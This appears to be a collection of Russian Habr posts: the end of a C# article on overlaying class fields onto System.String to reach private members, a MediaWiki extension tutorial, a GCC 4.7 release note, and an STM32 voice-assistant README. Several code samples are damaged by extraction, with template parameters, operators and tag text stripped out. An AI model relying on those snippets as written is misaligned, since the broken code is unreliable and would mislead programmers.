Как вы уже догадались, мы проинициализировали CustomStructWithLayout, обе ссылки равны null, далее инициализируем поле нашего типа, а после присваиваем строку полю Str. В итоге от CustomClass остается чуть больше, чем ничего. Поверх его была записана строка со всей ее внутренней структурой, включая таблицу методов и индекс блока синхронизации. Но компилятор видит поле все еще типа нашего класса.
Для доказательсва приведу небольшую вырезку из WinDbg:
Здесь можно увидеть несколько необычных вещей. Первая — в объекте адреса на таблицы методов у полей класса разные, что и ожидаемо, но адрес значения поля один. Вторая — можно увидеть, что оба поля расположены по смещению 4. Думаю, большинсво поймет, но на всякий случай поясню, непосредсвенно по адресу объекта располагается ссылка на таблицу методов. Поля начинаются со смещением 4 байта (длz 32 бит), а индекс блока синхронизации расположен со смещением -4.
Теперь, когда разобрались, что происходит, можно попробовать использовать смещения для вызова того, что вызывать не следовало бы.
Для этого я повторил структуру класса string в одном из своих классов. Правда повторил я лишь начало, поскольку класс string весьма объемный.
```
public class CustomClassLikeString
{
public const int FakeAlignConst = 3;
public const int FakeCharPtrAlignConst = 3;
public static readonly object FakeStringEmpty;
public char FakeFirstChar;
public int FakeLength = 3;
public const int FakeTrimBoth = 3;
public const int FakeTrimHead = 3;
public const int FakeTrimTail = 3;
public CustomClassLikeString(){}
public CustomClassLikeString(int a){}
public CustomClassLikeString(byte a){}
public CustomClassLikeString(short a){}
public CustomClassLikeString(string a){}
public CustomClassLikeString(uint a){}
public CustomClassLikeString(ushort a){}
public CustomClassLikeString(long a){ }
public void Stub1(){}
public virtual int CompareTo(object value)
{
return 800;
}
public virtual int CompareTo(string value)
{
return 801;
}
}
```
Ну и немного меняется структура с Layout
```
[StructLayout(LayoutKind.Explicit)]
public class CustomStructWithLayout
{
[FieldOffset(0)]
public string Str;
[FieldOffset(0)]
public CustomClassLikeString SomeInstance;
}
```
Далее, при вызове FakeLength или метода CompareTo() благодаря идентичным смещением этих членов класса относительно адреса самого объекта будет вызван соответсвующий метод строки (в данном случае). Добираться до первого приватного метода в строке, который я могу использовать, было довольно долго, поэтому я остановился на публичном. Но поле приватное, все честно. Кстати, методы сделаны виртуальными для защиты от всяких оптимизаций, мешающий работе (например, встраивания), а также для того, чтоб метод вызывался по смещению в таблице методов.
Итак, производительность. Исное дело, что прямой конкурент в вызове того, что вызвать не надо и в нарушении инкапсуляции — рефлексия. Я думаю, что и так понятно, что мы быстрее этой вещи, все ж мы не анализируем метаданные. Точные значения:
| Method | Job | Mean | Error | StdDev | Median |
| --- | --- | --- | --- | --- | --- |
| StructLayoutField | Clr | 0.0597 ns | 0.0344 ns | 0.0396 ns | 0.0498 ns |
| ReflectionField | Clr | 197.1257 ns | 1.9148 ns | 1.7911 ns | 197.4787 ns |
| StructLayoutMethod | Clr | 3.5195 ns | 0.0382 ns | 0.0319 ns | 3.5285 ns |
| ReflectionMethod | Clr | 743.9793 ns | 13.7378 ns | 12.8504 ns | 743.8471 ns |
Здесь длинный кусок кода с тем, как я измерял производительность (Если кому-то оно надо):
**Код**
```
[ClrJob]
[RPlotExporter, RankColumn]
[InProcessAttribute]
public class Benchmarking
{
private CustomStructWithLayout instance;
private string str;
[GlobalSetup]
public void Setup()
{
instance = new CustomStructWithLayout();
instance.SomeInstance = new CustomClassLikeString();
instance.Str = "4564";
str = "4564";
}
[Benchmark]
public int StructLayoutField()
{
return instance.SomeInstance.FakeLength;
}
[Benchmark]
public int ReflectionField()
{
return (int)typeof(string).GetField("m_stringLength", BindingFlags.Instance | BindingFlags.NonPublic).GetValue(str);
}
[Benchmark]
public int StructLayoutMethod()
{
return instance.SomeInstance.CompareTo("4564");
}
[Benchmark]
public int ReflectionMethod()
{
return (int)typeof(string).GetMethod("CompareTo", new[] { typeof(string) }).Invoke(str, new[] { "4564" });
}
}
class Program
{
static void Main(string[] args)
{
var summary = BenchmarkRunner.Run();
}
}
``` | https://habr.com/ru/post/423657/ | null | ru | null |
# Пишем расширение для MediaWiki
В рунете я почти не встречал материалов о том, как писать расширения для MediaWIki (платформы, на которой работает Википедия). Основной стартовой точкой при написании расширений был и остается официальный сайт платформы, но там процесс [расписан](https://www.mediawiki.org/wiki/Manual:Developing_extensions) не очень дружелюбно по отношению к новичкам. Попробуем же это исправить.
В этой статье я покажу, как написать простейшее расширение для Медиавики, включающее в себя новый метод API, расширение парсера и немного js/css для фронтенда. А чтобы не было скучно, приплетем сюда работу с [Google Knowledge Graph](https://ru.wikipedia.org/wiki/Knowledge_Graph).
Расширения MediaWiki
--------------------
MediaWiki — модульная платформа, куда можно устанавливать расширения для добавления самого разного функционала. Помимо того, что расширения могут реализовывать какой-то свой независимый функционал (например, добавлять какие-нибудь виджеты), оно также может и модифицировать функциональность платформы: например, менять принцип работы поиска или модифицировать внешний вид платформы. Посмотреть примеры расширений можно [на официальном сайте платформы.](https://www.mediawiki.org/wiki/Manual:Extensions)
Пишутся расширения, как правило, на php+jQuery. Возможность встраиваться в код ядра MediaWiki (или в код других расширений) реализована через [т.н. хуки](https://www.mediawiki.org/wiki/Manual:Hooks). Хуки позволяют вызывать дополнительный код по заданным событиям. Примерами таких событий могут быть: сохранение страницы, вызов поиска по сайту, открытие страницы на редактирование и так далее.
Расширения MediaWiki позволяют делать что угодно: работать напрямую с базой, модифицировать вики-движок, работать с файловой системой и так далее. С одной стороны, это позволяет добавлять какой угодно функционал, но с другой — накладывает на вас большую ответственность при установке новых сторонних расширений. Впрочем, довольно лирики, приступим к написанию своего расширения.
Что будем писать?
-----------------
> Готовое расширение можно взять тут:
> <https://github.com/Griboedow/GoogleKnowledgeGraph>
>
>
Давайте развлечемся и напишем что-нибудь бесполезное. Скажем, расширение, которое будет вытаскивать описания с [Google Knowledge Graph](https://developers.google.com/knowledge-graph).
**Т.е. расширение будет вот это:**
```
Код этого приложения прост и изящен как
```
**Превращать в это:**
Штука довольно бесполезная, но она послужит хорошей иллюстрацией. Еще и с графом знаний Гугла поиграемся!
> Расширение сделано исключительно в учебных целях, **не рекомендую его использовать на настоящих вики**. Гугл предоставляет 100 000 бесплатных запросов в день. Для небольших вики это не проблема, но на серьезных сайтах ресурс будет исчерпан очень быстро.
>
>
### Как оно будет работать
Примерный принцип работы расширения выглядит так:
1. Пользователь сохраняет страницу, где в тексте присутствуют теги .
* MediaWIki позволяет использовать не только формат тега, но и формат функции парсера : `{{#GoogleKnowledgeGraph||query=Ричард Докинз}}`.
2. Расширение функции парсера превращает тег в html код `Ричард Докинз`
3. JS код при загрузке страницы идет по всем элементам `.googleKnowledgeGraph` и запрашивает через API нашего же расширения описания терминов, подставляя их в [title](https://www.w3schools.com/tags/att_global_title.asp).
4. API нашего расширения будет максимально примитивным: он будет передавать запросы от фронтенда на Google API, чистить ответ от всего лишнего и передавать очищенное описание сущности на фронт.
В целом, можно было бы обойтись и без фронтенда, но запросы на внешние сайты могут проходить не очень быстро. Лучше показать основной контент страницы пораньше, и в фоне догрузить необязательный контент. К тому же мы тут учимся, а не пишем серьезный код, верно?
**Итого, нам потребуется:**
1. [Определить манифест](#manifest) нашего расширения.
2. [Расширить MediaWIki API](#api), добавив запрос на получение описания из Google Knowledge Graph
3. [Расширить парсер MediaWiki](#parser), добавив обработку нового тега.
4. [Добавить JS код](#front), который будет выполняться по загрузке страницы
5. [Подгрузить наше расширение](#load) в MediaWiki
6. [Поделиться результатом наших трудов](#share_mw) с сообществом.
А еще перед началом работы вам потребуется токен для работы с Google Knowledge Graph API. Сгенерировать его можно [тут](https://console.developers.google.com/flows/enableapi?apiid=kgsearch.googleapis.com&credential=client_key).
### Создаем структуру расширения
Типичная иерархия файлов и папок для MediaWIki расширения выглядит так:
```
extensions <-- Папка всех расширений MediaWiki
└── GoogleKnowledgeGraph <-- Подпапка с нашим расширением
├── extension.json <-- Манифест нашего расширения
├── i18n <-- Каталог с используемыми строками для разных языков
│ ├── en.json <-- Строки на английском
│ ├── qqq.json <-- Описания строк для облегчения жизни переводчиков
│ └── ru.json <-- Строки на русском
├── includes <-- PHP код
│ ├── ApiGoogleKnowledgeGraph.php <-- Расширение API
│ └── GoogleKnowledgeGraph.hooks.php <-- Расширение парсера и другие хуки
└── modules <-- Папка с JS модулями
└── ext.GoogleKnowledgeGraph <-- В нашем случае модуль только 1
├── ext.GoogleKnowledgeGraph.css <-- CSS стили нашего модуля
└── ext.GoogleKnowledgeGraph.js <-- JS код нашего модуля
```
Разберем содержимое всех файлов по порядку, и начнем с самого простого.
Интернационализация (i18n)
--------------------------
Для того, чтобы нашим расширением было удобно пользоваться на всех языках, можно воспользоваться стандартной системой интернационализации [banana-i18n](https://github.com/wikimedia/banana-i18n). Помимо облегчения интернационализации, эта система также позволяет хранить все тексты в одном месте (а не раскиданными по коду). Выглядит это примерно так:
**qqq.json**
```
{
"@metadata": {
"authors": [ "Developer Name" ]
},
"googleknowledgegraph-description": "Description of the extension, to be show in Special:Vesion.",
"apihelp-askgoogleknowledgegraph-summary" : "Help string for 'askgoogleknowledgegraph' API request",
"apihelp-askgoogleknowledgegraph-param-query": "Help string for 'query' parameter of API request 'askgoogleknowledgegraph'"
}
```
**en.json**
```
{
"@metadata": {
"authors": [ "Nikolai Kochkin" ]
},
"googleknowledgegraph-description": "The extension gets brief description from Google Knowledge Graph",
"apihelp-askgoogleknowledgegraph-summary" : "API to get description from Google Knowledge Graph",
"apihelp-askgoogleknowledgegraph-param-query": "String to ask from Google Knowledge Graph"
}
```
Создаем манифест расширения (extension.json)
--------------------------------------------
Для начала разберемся, как нам сообщить MediaWiki, что нужно загрузить то или иное расширение. Путей на самом деле два:
* Использовать`require_once( '/path/to/file.php' )`. Этот метод считается устаревшим, так что мы его подробно не будем рассматривать.
* Использовать функцию `wfLoadExtension('ExtensionName')`. Сейчас этот способ считается основным, так что на нем и остановимся.
Второй способ подразумевает наличие в папке файла extension.json с описанием манифеста приложения (как оно называется, из чего состоит, какие хуки использует и так далее).
Определяем манифест (файл **extension.json**):
```
{
"name": "GoogleKnowledgeGraph",
"version": "0.1.0",
"author": [
"Nikolai Kochkin"
],
"url": "https://habr.com/ru/company/veeam/blog/544534/",
"descriptionmsg": "googleknowledgegraph-description",
"license-name": "GPL-2.0-or-later",
"type": "parserhook",
"requires": {
"MediaWiki": ">= 1.29.0"
},
"MessagesDirs": {
"GoogleKnowledgeGraph": [
"i18n"
]
},
"AutoloadClasses": {
"GoogleKnowledgeGraphHooks": "includes/GoogleKnowledgeGraph.hooks.php",
"ApiAskGoogleKnowledgeGraph": "includes/ApiAskGoogleKnowledgeGraph.php"
},
"APIModules": {
"askgoogleknowledgegraph": "ApiAskGoogleKnowledgeGraph"
},
"Hooks": {
"OutputPageParserOutput": "GoogleKnowledgeGraphHooks::onBeforeHtmlAddedToOutput",
"ParserFirstCallInit": "GoogleKnowledgeGraphHooks::onParserSetup"
},
"ResourceFileModulePaths": {
"localBasePath": "modules",
"remoteExtPath": "GoogleKnowledgeGraph/modules"
},
"ResourceModules": {
"ext.GoogleKnowledgeGraph": {
"localBasePath": "modules/ext.GoogleKnowledgeGraph",
"remoteExtPath": "GoogleKnowledgeGraph/modules/ext.GoogleKnowledgeGraph",
"scripts": [
"ext.GoogleKnowledgeGraph.js"
],
"styles": [
"ext.GoogleKnowledgeGraph.css"
]
}
},
"config": {
"GoogleApiLanguage": {
"value": "ru",
"path": false,
"description": "In which language you want to get result from the Knowledge Graph",
"public": true
},
"GoogleApiToken": {
"value": "",
"path": false,
"description": "API token to be used with Google API",
"public": false
}
},
"ConfigRegistry": {
"GoogleKnowledgeGraph": "GlobalVarConfig::newInstance"
},
"manifest_version": 2
}
```
Разбираем extension.json по частямПервая часть файла определяет то, что пользователь увидит в описании расширения на странице Special:Version
```
"name": "GoogleKnowledgeGraph",
"version": "0.1.0",
"author": [
"Nikolai Kochkin"
],
"url": "https://habr.com/ru/company/veeam/blog/544534/",
"descriptionmsg": "googleknowledgegraph-description",
"license-name": "GPL-2.0-or-later",
"type": "parserhook",
```
Далее мы указываем зависимости нашего расширения: с какими версиями MediaWIki расширение может работать, какие версии php требуются, какие расширения должны быть уже установлены и так далее.
```
"requires": {
"MediaWiki": ">= 1.29.0"
},
```
Затем мы указываем, где искать файлы со строками i18n
```
"MessagesDirs": {
"GoogleKnowledgeGraph": [
"i18n"
]
},
```
И сообщаем, в каких файлах искать классы для автоподгрузки. [Подробнее тут](https://www.mediawiki.org/wiki/Manual:%24wgAutoloadClasses).
```
"AutoloadClasses": {
"GoogleKnowledgeGraphHooks": "includes/GoogleKnowledgeGraph.hooks.php",
"ApiAskGoogleKnowledgeGraph": "includes/ApiAskGoogleKnowledgeGraph.php"
},
```
Заявляем, что мы реализовываем API метод **askgoogleknowledgegraph** в классе `ApiAskGoogleKnowledgeGraph`
```
"APIModules": {
"askgoogleknowledgegraph": "ApiAskGoogleKnowledgeGraph"
},
```
Перечисляем, какие коллбеки для каких хуков у нас реализованы
```
"Hooks": {
"BeforePageDisplay": "GoogleKnowledgeGraphHooks::onBeforePageDisplay",
"ParserFirstCallInit": "GoogleKnowledgeGraphHooks::onParserSetup"
},
```
Сообщаем, что модули наши лежат в папке modules
```
"ResourceFileModulePaths": {
"localBasePath": "modules",
"remoteExtPath": "GoogleKnowledgeGraph/modules"
},
```
И определяем наш фронтенд модуль с js и css. Когда модулей несколько, можно указать в коде зависимости между ними.
```
"ResourceModules": {
"ext.GoogleKnowledgeGraph": {
"localBasePath": "modules/ext.GoogleKnowledgeGraph",
"remoteExtPath": "GoogleKnowledgeGraph/modules/ext.GoogleKnowledgeGraph",
"scripts": [
"ext.GoogleKnowledgeGraph.js"
],
"styles": [
"ext.GoogleKnowledgeGraph.css"
]
}
},
```
И, наконец, задаем дополнительные параметры конфигурации нашего расширения
```
"config": {
"GoogleApiLanguage": {
"value": "ru",
"path": false,
"description": "In which language you want to get result from the Knowledge Graph",
"public": true
},
"GoogleApiToken": {
"value": "",
"path": false,
"description": "API token to be used with Google API",
"public": false
}
},
"ConfigRegistry": {
"GoogleKnowledgeGraph": "GlobalVarConfig::newInstance"
},
```
В LocalSettings.php опции будут иметь стандартный префикс wg
```
$wgGoogleApiToken = 'your-google-token';
$wgGoogleApiLanguage = 'ru';
```
И, наконец, задаем версию схемы манифеста
```
"manifest_version": 2
```
Мы используем лишь небольшой список поддерживаемых полей манифеста. Почитать обо всех полях [можно тут](https://www.mediawiki.org/wiki/Manual:Extension.json/Schema).
Расширяем API
-------------
Для начала реализуем API.
В extension.json мы заявили, что у нас будет метод `askgoogleknowledgegraph`, реализованный в классе `ApiAskGoogleKnowledgeGraph` из файла **includes/ApiAskGoogleKnowledgeGraph.php:**
```
// extension.json fragment
"AutoloadClasses": {
<...>
"ApiAskGoogleKnowledgeGraph": "includes/ApiAskGoogleKnowledgeGraph.php"
},
"APIModules": {
"askgoogleknowledgegraph": "ApiAskGoogleKnowledgeGraph"
},
```
Теперь реализуем наш метод. Файл **includes/ApiAskGoogleKnowledgeGraph.php:**
```
php
/**
* Класс включает в себя реализацию и описание API метода askgoogleknowledgegraph
* Для простоты я не реализую кеширование, любопытные могут подсмотреть реализацию тут:
* https://github.com/wikimedia/mediawiki-extensions-TextExtracts/blob/master/includes/ApiQueryExtracts.php
*/
use MediaWiki\MediaWikiServices;
class ApiAskGoogleKnowledgeGraph extends ApiBase {
public function execute() {
$params = $this-extractRequestParams();
// query - обязательный параметр, так что $params['query'] всегда определен
$description = ApiAskGoogleKnowledgeGraph::getGknDescription( $params['query'] );
/**
* Определяем результат для Get запроса.
* На самом деле Post запрос отработает с тем же успехом,
* если специально не отслеживать тип запроса ¯\_(ツ)_/¯.
*/
$this->getResult()->addValue( null, "description", $description );
}
/**
* Список поддерживаемых параметров метода
*/
public function getAllowedParams() {
return [
'query' => [
ApiBase::PARAM_TYPE => 'string',
ApiBase::PARAM_REQUIRED => true,
]
];
}
/**
* Получаем данные из Google Knowledge Graph,
* предполагая, что самый первый результат и есть верный.
*/
private static function getGknDescription( $query ) {
/**
* Вытаскиваем параметры языка и токен.
* Все параметры в LocalSettings.php имеют префикс wg, например: wgGoogleApiToken.
* Здесь же мы их указываем без префикса
*/
$config = MediaWikiServices::getInstance()->getConfigFactory()->makeConfig( 'GoogleKnowledgeGraph' );
$gkgToken = $config->get( 'GoogleApiToken' );
$gkgLang = $config->get( 'GoogleApiLanguage' );
$service_url = 'https://kgsearch.googleapis.com/v1/entities:search';
$params = [
'query' => $query ,
'limit' => 1,
'languages' => $gkgLang,
'indent' => TRUE,
'key' => $gkgToken,
];
$url = $service_url . '?' . http_build_query( $params );
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url) ;
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$response = json_decode( curl_exec( $ch ), true );
curl_close( $ch );
if( count( $response['itemListElement'] ) == 0 ){
return "Nothing found by your request \"$query\"";
}
if( !isset( $response['itemListElement'][0]['result'] ) ){
return "Unknown GKG result format for request \"$query\"";
}
if( !isset($response['itemListElement'][0]['result']['detailedDescription'] ) ){
return "detailedDescription was not provided by GKG for request \"$query\"";
}
if( !isset( $response['itemListElement'][0]['result']['detailedDescription']['articleBody'] ) ){
return "articleBody was not provided by GKG for request \"$query\"";
}
return $response['itemListElement'][0]['result']['detailedDescription']['articleBody'];
}
}
```
Теперь мы можем обращаться по апи к нашей вики:
```
Get /api.php?action=askgoogleknowledgegraph&query=Выхухоль&format=json
Response body:
{
"description": "Вы́хухоль, или русская выхухоль, или хоху́ля, — вид млекопитающих отряда насекомоядных из трибы Desmanini подсемейства Talpinae семейства кротовых. Один из двух видов трибы; вторым видом является пиренейская выхухоль."
}
```
Расширяем парсер и используем прочие хуки
-----------------------------------------
```
// Фрагмент файла extension.json
"AutoloadClasses": {
"GoogleKnowledgeGraphHooks": "includes/GoogleKnowledgeGraph.hooks.php",
<...>
},
"Hooks": {
"BeforePageDisplay": "GoogleKnowledgeGraphHooks::onBeforePageDisplay",
"ParserFirstCallInit": "GoogleKnowledgeGraphHooks::onParserSetup"
},
```
В extension.json мы заявили, что в классе `GoogleKnowledgeGraphHooks` из файла **includes/GoogleKnowledgeGraph.hooks.php** реализуем расширения для хуков:
* **OutputPageParserOutput** в методе`onBeforeHtmlAddedToOutput`**;**
* **ParserFirstCallInit** в методе `onParserSetup`
Немножко про используемые хуки:
* **OutputPageParserOutput** позволяет выполнить какой-то код после того, как парсер закончил формировать html, но перед тем, как html был добавлен к аутпуту. Здесь мы, например, можем подгрузить фронтенд. Фронтенд мы целиком расположили в модуле `ext.GoogleKnowledgeGraph`, так что достаточно будет подгрузить его.
* **ParserFirstCallInit** позволяет расширить парсер дополнительными методами. Мы добавим в парсер обработку тега .
Итак, реализация (файл **includes/GoogleKnowledgeGraph.hooks.php**):
```
php
/**
* Хуки расширения GoogleKnowledgeGraph
*/
class GoogleKnowledgeGraphHooks {
/**
* Сработает хук после окончания работы парсера, но перед выводом html.
* Детали тут: https://www.mediawiki.org/wiki/Manual:Hooks/OutputPageParserOutput
*/
public static function onBeforeHtmlAddedToOutput( OutputPage &$out, ParserOutput $parserOutput ) {
// Добавляем подгрузку модуля фронтенда для всех страниц, его определение ищи в extension.json
$out-addModules( 'ext.GoogleKnowledgeGraph' );
return true;
}
/**
* Расширяем парсер, добавляя обработку тега
\*/
public static function onParserSetup( Parser $parser ) {
$parser->setHook( 'GoogleKnowledgeGraph', 'GoogleKnowledgeGraphHooks::processGoogleKnowledgeGraphTag' );
return true;
}
/\*\*
\* Реализация обработки тега
\*/
public static function processGoogleKnowledgeGraphTag( $input, array $args, Parser $parser, PPFrame $frame ) {
// Парсим аргументы, переданные в формате
if( isset( $args['query'] ) ){
$query = $args['query'];
}
else{
// В тег не был передан аргумент query, так что и выводить нам нечего
return '';
}
return '' . htmlspecialchars( $query ) . '';
}
}
```
Добавляем фронтенд
------------------
Фронтенд свяжет воедино все, что мы реализовали выше.
```
// Фрагмент файла extension.json
"ResourceModules": {
"ext.GoogleKnowledgeGraph": {
"localBasePath": "modules",
"remoteExtPath": "GoogleKnowledgeGraph/modules",
"scripts": [
"ext.GoogleKnowledgeGraph.js"
],
"styles": [
"ext.GoogleKnowledgeGraph.css"
],
"dependencies": [
]
}
},
"ResourceFileModulePaths": {
"localBasePath": "modules",
"remoteExtPath": "GoogleKnowledgeGraph/modules"
},
```
В extension.json мы заявили, что у нас есть один модуль `ext.GoogleKnowledgeGraph`, который находится в папке **modules** и состоит из двух файлов:
* **modules/ext.GoogleKnowledgeGraph/ext.GoogleKnowledgeGraph.js**
* **modules/ext.GoogleKnowledgeGraph/ext.GoogleKnowledgeGraph.css**
Загрузку модуля мы реализовали чуть раньше в методе `onBeforeHtmlAddedToOutput`. Определим теперь и сам код модуля.
Для начала зададим стили
(файл **modules/ext.GoogleKnowledgeGraph/ext.GoogleKnowledgeGraph.css)**:
```
.googleKnowledgeGraph{
border-bottom: 1px dotted #000;
text-decoration: none;
}
```
А теперь возьмемся за JS
(файл **modules/ext.GoogleKnowledgeGraph/ext.GoogleKnowledgeGraph.js):**
```
( function ( mw, $ ) {
/**
* Ищем все элементы с MyText,
* вытаскиваем MyText и отправляем запрос
* /api.php?action=askgoogleknowledgegraph&query=MyText
* После чего добавляем результат в 'title'.
*/
$( ".googleKnowledgeGraph" ).each( function( index, element ) {
$.ajax({
type: "GET",
url: mw.util.wikiScript( 'api' ),
data: {
action: 'askgoogleknowledgegraph',
query: $( element ).text(),
format: 'json',
},
dataType: 'json',
success: function( jsondata ){
$( element ).prop( 'title', jsondata.description );
}
});
});
}( mediaWiki, jQuery ) );
```
JS код довольно прост. jQuery нам достался даром, поскольку MediaWiki подгружает его автоматически.
Подгружаем наше расширение и радуемся
-------------------------------------
Для загрузки расширения, как мы уже обсуждали, потребуется поправить файл **LocalSettings.php**. Добавляем в самый конец:
```
// Фрагмент файла LocalSettings.php
php
<...
wfLoadExtension( 'GoogleKnowledgeGraph' );
$wgGoogleApiToken = "your-google-token";
$wgGoogleApiLanguage = 'ru';
```
Можно пробовать! Добавим на страницу что-нибудь эдакое:
```
Даже может стать отстойным.
```
И получим:
Делимся с сообществом
---------------------
Если есть возможность поделиться расширением с общественностью, то можно [создать страницу на MediaWiki с кратким описанием, что ваше расширение может сделать](https://www.mediawiki.org/wiki/Extension:GoogleKnowledgeGraph) (не забудьте скриншоты: лучше один раз увидеть, чем сто раз прочитать). На страницы с описаниями расширений обычно добавляют [шаблон Extension](https://www.mediawiki.org/wiki/Template:Extension), поля которого хорошо задокументированы. Если же возникнут сложности, всегда можно скопировать его с другой страницы расширений и подправить отличающиеся поля.
Типичная страница с описанием расширенияЗаключение
----------
В статье был описан случай довольно простого расширения, но, на самом деле, такие расширения как iFrame, CategoryTree, Drawio и многие другие не очень далеко ушли по сложности.
За скобками остались такие вещи, как работа с базой, кэширование, OOUI и много-многое другое. Все ж я вас не напугать хотел, а как раз наоборот — показать, что писать расширения под вики на самом деле совсем не сложно и не страшно.
Ссылки
------
* [Код расширения целиком на github](https://github.com/Griboedow/GoogleKnowledgeGraph)
* [Страница расширения на MediaWiki](https://www.mediawiki.org/wiki/Extension:GoogleKnowledgeGraph)
* [Страница помощи разработчику](https://www.mediawiki.org/wiki/Manual:Developing_extensions) расширений MediaWIki
* [Example extension](https://www.mediawiki.org/wiki/Extension:Examples) — расширение с пачкой примеров на все случаи жизни
* [Документация MediaWiki кода](https://doc.wikimedia.org/mediawiki-core/master/php/index.html)
* [banana-i18n](https://github.com/wikimedia/banana-i18n) (как работает интернационализация)
* [Схема extension.json](https://www.mediawiki.org/wiki/Manual:Extension.json/Schema) (файл поддерживает много дополнительных полей) | https://habr.com/ru/post/544534/ | null | ru | null |
# Релиз GCC-4.7
Сегодня ночью вышел долгожданный GCC 4.7, выпуск которого приурочен к 25-летию проекта.
Долгожданным этот выпуск является прежде всего для программистов C++, так как несет с собой обширную поддержку нового стандарта С++11.
**Наиболее заметные нововведения:**
Расширенный синтаксис friend:
```
template
class Q
{
static const int I = 2;
public:
friend W;
};
struct B
{
int ar[Q**::I];
};**
```
Ключевые слова final и override
```
struct B {
virtual void f() const final;
virtual void f(int);
};
struct D : B {
void f() const; // error: D::f attempts to override final B::f
void f(long) override; // error: doesn't override anything
void f(int) override; // ok
};
struct E final { };
struct F: E { }; // error: deriving from final class
```
Инициализация не статических членов.
```
struct A {
int i = 42;
} a; // initializes a.i to 42
```
Пользовательские литералы.
```
constexpr long double operator"" _degrees (long double d) { return d * 0.0175; }
long double pi = 180.0_degrees;
```
Alias-declarations. ~~*(Не знаю как перевести на русский)*~~
Расширенный typedef для шаблонов. Спасибо [kharvd](http://habrahabr.ru/users/kharvd/) за уточнение.
```
template using Ptr = T\*;
Ptr ip; // decltype(ip) is int\*
```
Делегирование конструкторов *(Ура, ура, самая вкусняшка!)*
```
struct A {
A(int);
A(): A(42) { } // delegate to the A(int) constructor
};
```
A также значительное улучшение поддержки standard library для C++11.
Остальные изменения и более подробную информацию по релизу можно посмотреть [здесь](http://gcc.gnu.org/gcc-4.7/changes.html)
**UPD:** 24.03.2012 Появилась сборка в sid ветке Debian. | https://habr.com/ru/post/140557/ | null | ru | null |
# AHURATUS Smart Home Voice Assistant
[](https://ahuratus.ir)
[](http://university.innopolis.ru)
AHURATUS Smart Home Voice Assistant
===================================
> Developed by [Ehsan Shaghaei](http://Ehsanshaghaei.ahuratus.ir)
>
> [Innopolis University](http://university.innopolis.ru)
>
> [AHURATUS](http://www.Ahuratus.ir) Scientific Club.
Introduction
------------
AHURATUS Smart Home Voice Assistant is an IOT device developed in order to control other home devices by voice detection. *Note: This device is made ONLY for academic purposes.*
Approach
--------
#### Description
*"AHURATUS Smart Home Voice Assistant"* uses an ARM Cortex-M3 process for running the instructions as well as several peripheral devices in order to decrease the complexity of data bus and RF-Circuit calculations.
#### Bill of Materials
| # | Component Name | Role | Technical Document links |
| --- | --- | --- | --- |
| 1 | STM32F103ZET6 | Process and Control | [Datasheet](https://www.st.com/resource/en/reference_manual/cd00171190.pdf) |
| 2 | HC-05 Bluetooth Module | Bluetooth Radio Connection | [Datasheet](http://www.electronicaestudio.com/docs/istd016A.pdf) |
| 3 | 220-5V AC-DC Adapter | Powering the circuit | [Datasheet](https://www.mornsun-power.com/uploads/pdf/LD03-20BxxWG.pdf) |
| 4 | LED or Mosfets or Relays | To System Output | [Datasheet](http://www1.futureelectronics.com/doc/EVERLIGHT%C2%A0/334-15__T1C1-4WYA.pdf) |
#### Workbench and Softwares
| # | Software Name | Role | Links and refrences |
| --- | --- | --- | --- |
| 1 | STM32CubeIDE | IDE for Coding our instruction | [Link](https://www.st.com/en/development-tools/stm32cubeide.html) |
| 2 | GNU-ARM | C-Compiler for ARM processors | [Link](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads) |
| 3 | Jlink | Programmer and Debugger | [Link](https://www.segger.com/products/debug-probes/j-link/) |
| 4 | HERCULES | SerialPort Monitoring Software | [Link](https://www.hw-group.com/software/hercules-setup-utility) |
| 5 | Arduino Voice Control | Android Application to send data to our device | [Link](https://play.google.com/store/apps/details?id=appinventor.ai_cempehlivan92.Arduino_Sesli_Kontrol&hl=en) |
#### Details
We use HAL drivers which were provided by the processor manufacture in order to reduce the complexity of fault checking and straight forward usage of peripherals. We use HC-05 in order to receive data from our user via a wireless connection by setting the module settings trough the following *AT command:*
> Transmit: AT+UART = 115200, 0, 0
>
> Response: OK
>
> \_ Note: In order to apply AT Commands you need to connect the KEY pin to the HIGH level.
by using STM32CubeIDE we set the peripheral registers as follows:
* UART2 (HC-05 Serial Port):
```
huart2.Instance = USART2;
huart2.Init.BaudRate = 115200;
huart2.Init.WordLength = UART_WORDLENGTH_8B;
huart2.Init.StopBits = UART_STOPBITS_1;
huart2.Init.Parity = UART_PARITY_NONE;
huart2.Init.Mode = UART_MODE_TX_RX;
huart2.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart2.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart2) != HAL_OK)
{
Error_Handler();
}
```
* UART1 (Monitoring Serial Port Trough RS-232 Standard Port):
```
huart1.Instance = USART1;
huart1.Init.BaudRate = 115200;
huart1.Init.WordLength = UART_WORDLENGTH_8B;
huart1.Init.StopBits = UART_STOPBITS_1;
huart1.Init.Parity = UART_PARITY_NONE;
huart1.Init.Mode = UART_MODE_TX_RX;
huart1.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart1.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart1) != HAL_OK)
{
Error_Handler();
}
```
* DMA Channels 11, 15 and 16 (Direct Memory Access for UART2 RX and UART1 RX and UART1 TX respectively.):
```
/* DMA controller clock enable */
__HAL_RCC_DMA1_CLK_ENABLE();
/* DMA interrupt init */
/* DMA1_Channel1_IRQn interrupt configuration */
HAL_NVIC_SetPriority(DMA1_Channel1_IRQn, 0, 0);
HAL_NVIC_EnableIRQ(DMA1_Channel1_IRQn);
/* DMA1_Channel5_IRQn interrupt configuration */
HAL_NVIC_SetPriority(DMA1_Channel5_IRQn, 0, 0);
HAL_NVIC_EnableIRQ(DMA1_Channel5_IRQn);
/* DMA1_Channel6_IRQn interrupt configuration */
HAL_NVIC_SetPriority(DMA1_Channel6_IRQn, 0, 0);
HAL_NVIC_EnableIRQ(DMA1_Channel6_IRQn);
```
Furthermore, we set the GPIO modes as following in order to Drive our LEDs or other Devices.
```
/* GPIO Ports Clock Enable */
__HAL_RCC_GPIOE_CLK_ENABLE();
__HAL_RCC_GPIOC_CLK_ENABLE();
__HAL_RCC_GPIOF_CLK_ENABLE();
__HAL_RCC_GPIOA_CLK_ENABLE();
__HAL_RCC_GPIOB_CLK_ENABLE();
__HAL_RCC_GPIOD_CLK_ENABLE();
